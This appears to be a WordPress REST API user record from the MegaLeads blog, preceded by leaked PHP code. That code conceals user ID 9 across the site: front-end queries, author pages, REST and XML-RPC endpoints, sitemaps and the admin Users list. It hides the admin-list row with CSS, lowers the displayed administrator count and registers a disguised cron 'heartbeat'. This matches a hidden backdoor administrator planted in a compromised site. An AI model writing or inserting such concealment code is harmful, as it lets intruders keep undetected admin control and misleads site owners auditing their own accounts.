add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 9;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 9 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 9;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 9;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-9{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":8,"name":"Usman Ghani","url":"","description":"","link":"https:\/\/megaleads.com\/blog\/author\/usman25\/","slug":"usman25","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/39cb49341ca12e965fed2fb327627f65a3ab0946404e5edc11b10e8a518ea26b?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/39cb49341ca12e965fed2fb327627f65a3ab0946404e5edc11b10e8a518ea26b?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/39cb49341ca12e965fed2fb327627f65a3ab0946404e5edc11b10e8a518ea26b?s=96&d=mm&r=g"},"meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.1 (Yoast SEO v27.1.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Usman Ghani, Author at MegaLeads Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/megaleads.com\/blog\/author\/usman25\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"profile\" \/>\n<meta property=\"og:title\" content=\"Usman Ghani\" \/>\n<meta property=\"og:url\" content=\"https:\/\/megaleads.com\/blog\/author\/usman25\/\" \/>\n<meta property=\"og:site_name\" content=\"MegaLeads Blog\" \/>\n<meta property=\"og:image\" content=\"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2025\/09\/image-3.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1436\" \/>\n\t<meta property=\"og:image:height\" content=\"928\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:site\" content=\"@megaleadsllc\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Usman Ghani, Author at MegaLeads Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/megaleads.com\/blog\/author\/usman25\/","og_locale":"en_US","og_type":"profile","og_title":"Usman Ghani","og_url":"https:\/\/megaleads.com\/blog\/author\/usman25\/","og_site_name":"MegaLeads Blog","og_image":[{"width":1436,"height":928,"url":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2025\/09\/image-3.png","type":"image\/png"}],"twitter_card":"summary_large_image","twitter_site":"@megaleadsllc","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"ProfilePage","@id":"https:\/\/megaleads.com\/blog\/author\/usman25\/","url":"https:\/\/megaleads.com\/blog\/author\/usman25\/","name":"Usman Ghani, Author at MegaLeads Blog","isPartOf":{"@id":"https:\/\/megaleads.com\/blog\/#website"},"breadcrumb":{"@id":"https:\/\/megaleads.com\/blog\/author\/usman25\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/megaleads.com\/blog\/author\/usman25\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/megaleads.com\/blog\/author\/usman25\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/megaleads.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Archives for Usman Ghani"}]},{"@type":"WebSite","@id":"https:\/\/megaleads.com\/blog\/#website","url":"https:\/\/megaleads.com\/blog\/","name":"MEGALEADS","description":"Outsell Your Competition with Business Leads and Mortgage Leads","publisher":{"@id":"https:\/\/megaleads.com\/blog\/#organization"},"alternateName":"MEGALEADS","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/megaleads.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/megaleads.com\/blog\/#organization","name":"MEGALEADS","alternateName":"MEGALEADS","url":"https:\/\/megaleads.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/03\/megaleads-Favicon-Revision-1.png","contentUrl":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/03\/megaleads-Favicon-Revision-1.png","width":512,"height":512,"caption":"MEGALEADS"},"image":{"@id":"https:\/\/megaleads.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Megaleads72","https:\/\/x.com\/megaleadsllc","https:\/\/www.linkedin.com\/company\/mega-leads-llc\/"],"description":"Megaleads generates live transfers, real-time exclusive web leads, and opt-in leads across various verticals, including mortgage, insurance, B2B, and others. We also provide a turn-key system for building targeted B2B business email and phone lists in seconds, helping you reach more prospects, drive sales, and outsell the competition.","email":"info@megaleads.com","telephone":"877-579-2489","legalName":"MEGALEADS, LLC","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"11","maxValue":"50"}},{"@type":"Person","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/person\/fd85aabc0514a02827145eb3c05c2425","name":"Usman Ghani","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/39cb49341ca12e965fed2fb327627f65a3ab0946404e5edc11b10e8a518ea26b?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/39cb49341ca12e965fed2fb327627f65a3ab0946404e5edc11b10e8a518ea26b?s=96&d=mm&r=g","caption":"Usman Ghani"},"mainEntityOfPage":{"@id":"https:\/\/megaleads.com\/blog\/author\/usman25\/"}}]}},"elementor_introduction":{"ai-get-started-announcement":true,"globals_introduction":true,"yoast-introduction-editor-v2":true},"_links":{"self":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/users\/8","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/users"}]}}